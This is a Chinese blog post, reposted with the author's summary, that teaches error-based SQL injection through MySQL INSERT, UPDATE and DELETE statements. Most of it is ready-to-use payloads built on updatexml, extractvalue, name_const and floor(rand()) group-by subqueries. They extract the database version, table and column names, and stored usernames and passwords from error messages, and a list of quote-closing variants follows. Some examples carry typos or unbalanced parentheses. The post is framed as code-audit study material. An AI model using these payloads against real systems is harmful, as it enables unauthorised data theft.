利用insert、update和delete注入获得数据

前言

最近在进行代码审计,其中遇到了update、delte语句存在注入的问题就找来了这篇文章看看,同时也加强以下自己对报错注入的理解。以下是文章原文。如果不想看原文,可以直接看文章最后的我的总结一章。
本文转载自wooyun drops文章,《利用insert、update和delete注入获得数据》。

以下是文章原文,如有侵权,望告知。

简介

利用SQL注入注入获取数据库数据,利用的方法可以大致分为联合查询、报错、布尔盲注以及延时注入,通常这些方法都是基于select查询语句中的SQL查询点来实现的。那么,当我们发现了一个基于insert、update、delete语句的注射点时(比如有的网站会记录用户浏览记录、包括referer、client_ip、user-agent等,还有类似于用户注册、密码修改、信息删除等功能),还可以用如上的方法获取我们需要的数据吗?在这里,我们以MYSQL的显错为例,看一下如何在insert、update、delete的注射点中获取我们想要的数据。

环境搭建

为了更好的演示注入效果,我们先利用下面的语句创建原始数据:

create database newdb;
use newdb;
create table users (
    id int(3) not null auto_increment,
    username varchar(20) not null,
    passowrd varchar(20) not null,
    primary key(id)
);
insert into users values(1,'janes','Eyre');

看一下当前数据结构:

注入语法

因为我们这里是用的显错模式,所以思路就会在insert、update、delete语句中人为构造语法错误,利用如下语句:

insert into users(id,username,passowrd) values (2,''inject here'','Olivia');
insert into users(id,username,passowrd) values (3,""inject here"",'Olivia');

注意:大家看到本来要填入username字段的地方,我们填入了'injectio here'"inject here"两个字段来实现报错,一个单引号包含,一个是双引号包含,要根据实际的注入点灵活构造。

利用updatexml()获取语句

updatexml()函数是MYSQL对XML文档数据进行查询和修改的XPATH函数
payload:

or updatexml(1,concat(0x7e,(version())),0) or

Insert:

insert into users(id,username,passowrd) values(2,'Olivia' or updatexml(1,concat(0x7e,(version())),0) or '','Nervo');

Update:

update user set passowrd='Nicky' or  updatexml(1,concat(0x7e,(version())),0) or '' where id=2 and username='Nervo';

Delete:

delete from users where id=2 or updatexml(1,concat(0x7e,(version())),0) or '';

提取数据:
由于篇幅有限,在insert、update、delete用法一致的时候,我仅会以insert为例说明。
所用的payload为:

or updatexml(1,concat(0x7e,(select concat(table_name) from information_schema.tables where table_schema=database() limit 0,1),0x7e),0) or

获取newdb数据库表名:

获取users表的列名:

利用insert获取users表的数据:

利用delete获取users表的数据:

我们可以用insert、update、delete语句获取到数据库表名、列名,但是不能用update获取当前数据;

在这里,为了演示用update获取数据,我们临时再创建一个含有id,name,address的student表,并插入一条数据:

再次利用update获取users表中的数据:

(注意使用update获取数据时,无法获取当前数据,至少需要两张表)

如果你碰到一个update的注入并且想获取当前的表的数据的话,可以用双查询,我后面会讲到。

利用extractvalue()获取数据

extractvalue()函数也是MYSQL对XML文档数据进行查询和修改的XPATH函数。
payload:

or extractvalue(1,concat(0x7e,database())) or

Insert

insert into users(id,username,password) values(2,'Olivia' or extractvalue(1,concat(0x7e,database())) or '','Nervo');

Update

update users set passowrd='Nicky' or extractvalue(1,concat(0x7e,database())) or '';

delete

delete from users where id=1 or extractvalue(1,concat(0x7e,database())) or '';

提取数据:
同样,在insert、update、delete用法一致的时候,我仅会以insert为例说明。

获取newdb数据库表名:

insert into users(id,username,passowrd) values(2,'Olivia' or extractvalue(1,concat(0x7e,(select concat(table_name) from information_schema.tables where table_schema=database() limit 1,1))) or '','Nervo');

获取users表的列名:

insert into users(id,username,passowrd) values(2,'Olivia' or extractvalue(1,concat(0x7e,(select concat(column_name) from information_schema.columns where table_name='users' limit 0,1))) or '','Nervo');

获取users表的数据:

insert into users(id,username,passowrd) values(2,'Olivia' or extractvalue(1,concat(0x7e,(select concat_ws(':',id,username,passowrd) from users limit 0,1))) or '','Nervo');

同样,我们可以用insert、update、delete语句获取数据库表名、列名、但是不能用update获取当前表的数据。

利用name_const()获取数据

name_const()函数是MYSQL5.0.12版本加入的一个返回给定值的函数,当用来产生一个结果集合时,NAME_CONST()促使该列使用给定名称。
Payload:

or (select * from (select name_const(version(),1),name_const(version(),1))a) or

Insert:

insert into users(id,username,passowrd) values(2,'Olivia' or (select * from (select name_const(version(),1),name_const(version(),1))a) or '','Nervo');

Update:

update users set passowrd='Nikcy' or (select * from (select name_const(version(),1),name_const(version(),1))a) or '';

Delete

delete from users where id=1 or (select * from (select name_const(version(),1),name_const(version(),1))a) or '';

提取数据:
在最新的MYSQL版本中,使用name_const()函数只能提取到数据库的版本信息,但是在一些比较旧的高于5.0.12(高于5.0.12)的MYSQL版本中,可以进一步提取更多数据。在这里我使用MYSQL5.0.45进行演示。

首先,我们做一个简单的select查询,检查我们是否可以提取数据。

insert into users (id,username,passowrd) values (1,'Olivia' or (select * from (select name_const((select 2),1),name_const((select 2),1))a) or '','Nervo');

如果显示ERROR 1210 (HY000): Incorrect arguments to NAME_CONST,那就洗洗睡吧。
如果显示ERROR 1060 (42S21): Duplicate column name 2,就可以进一步获取更多数据。

获取newdb数据库表名:

insert into users (id,username,passowrd) values (1,'Olivia' or (select * from (select name_const((select concat(table_name) from information_schema.tables where table_schema=database()),1))a) or '','Nervo');

ERROR 1060 (42S21): Duplicate column name 'users'

获取users表的列名

insert into users (id,username,passowrd) values (1,'Olivia' or (select * from (select column_name from information_schema.columns where table_name='users'),1))a) or '','Nervo');

ERROR 1060 (42S21): Duplicate column name 'id'

获取users表的数据

insert into users (id,username,passowrd) values (1,'Olivia' or (select * from (select concat_ws(':',id,username,passowrd) from users limit 0,1),1))a) or '','Nervo');

ERROR 1060 (42S21): Duplicate column name '1:Jane:Eyre'

利用子查询注入

原理与select查询时的显错注入一致。

Insert:

insert into users(id,username,passowrd) values(1,'Olivia' or (select count(*),concat( floor(rand(0)*2),0x7e,(database()),0x7e)x from information_schema.character_sets group by x;
) or '','Nervo');

update

update users set passowrd='Nicky' or (select 1 from(select count(*),concat( floor(rand(0)*2),0x7e,(database()),0x7e)x from information_schema.character_sets group by x)a) or '' where id=2;

delete

delete from users where id=1 or (select 1 from(select count(*),concat( floor(rand(0)*2),0x7e,(database()),0x7e)x from information_schema.character_sets group by x)a)

提取数据
获取newdb数据库表名:

insert into users(id,username,passowrd) values(1,'Olivia' or (select 1 from(select count(*),concat( floor(rand(0)*2),0x7e,(select table_name from information_schema.tables where table_schema=database() limit 1,1),0x7e)x from information_schema.character_sets group by x)a) or '','Nervo');

获取users表的列名

insert into users(id,username,passowrd) values(1,'Olivia' or (select 1 from(select count(*),concat( floor(rand(0)*2),0x7e,(select column_name from information_schema.columns where table_name='users' limit 0,1),0x7e)x from information_schema.character_sets group by x)a) or '','Nervo');

获取users表中的数据

insert into users(id,username,passowrd) values(1,'Olivia' or (select 1 from(select count(*),concat( floor(rand(0)*2),0x7e,(select concat_ws(':',id,username,passowrd) from users limit 0,1),0x7e)x from information_schema.character_sets group by x)a) or '','Nervo');

更多的闭合变种

'or (payload) or '
' and (payload) and '
' or (payload) and '
' or (payload) and '='
' * (payload) *'
' or (payload) and '
"- (payload) -"

引用

http://dev.mysql.com/
http://websec.ca/kb/sql_injection
from: http://www.exploit-db.com/wp-content/themes/exploit/docs/33253.pdf

我的总结

其实这篇文章主要就是说明了四种报错注入的用法,以及如何在insert、update、delete语句中使用,常见的使用就是闭合标签。
还是总结以下报错注入的用法。

常用注入语法

updatexml
or updatexml(1,concat(0x7e,(【需要写入的SQL语句】)),0) or

例子为:

insert into users(id,username,password) values(1,'PPP' or updatexml(1,concat(0x7e,(version())),0) or '','PPP')
extractvalue
or extractvalue(1,concat(0x7e,(需要写入的SQL语句))) or

例子为:

insert into users (id,username,password) values(1,'pp' or extractvalue(1,concat(0x7e,(select database()))) or '','ppp');
name_const()

这个方法对mysql的版本有一定的显示,目前在最新的版本5.5.53中已经无法使用,只能得到版本号

or (select * from (select name_const(version(),1),name_const(version(),1))a) or

例子为:

insert into users (id,username,password) values(1,'pp' or (select * from (select name_const(version(),1),name_const(version(),1))a) or '','ppp');
group by
or (select 1 from(select count(*),concat( floor(rand(0)*2),0x7e,(【SQL语句】)x from information_schema.character_sets group by x)a) or

例子为:

insert into users(id,username,passowrd) values(1,'Olivia' or (select 1 from(select count(*),concat( floor(rand(0)*2),0x7e,(select concat_ws(':',id,username,passowrd) from users limit 0,1),0x7e)x from information_schema.character_sets group by x)a) or '','Nervo');

PHP的mysql报错显示

需要注意的是,报错注入需要通过php中的mysql_error()显示。
下面的例子:

$sql = mysql_query('select * from users where id=1 and updatexml(0,concat(0x7e,(select version())),1)');
$row = mysql_fetch_array($sql);
$strid = $row['id'];
echo $strid;

这样在界面上是没有显示的,需要通过mysql_error()显示。

$sql = mysql_query('select * from users where id=1 and updatexml(0,concat(0x7e,(select version())),1)');
if(!$sql) {
	echo mysql_error();
}
$row = mysql_fetch_array($sql);
$strid = $row['id'];
echo $strid;

只有加入了mysql_error()才能够显示错误,所以来说报错注入还是具有一定的条件的。

为了能到远方,脚下的每一步都不能少

posted @ 2017-07-28 20:08  babers  阅读(7235)  评论(0编辑  收藏  举报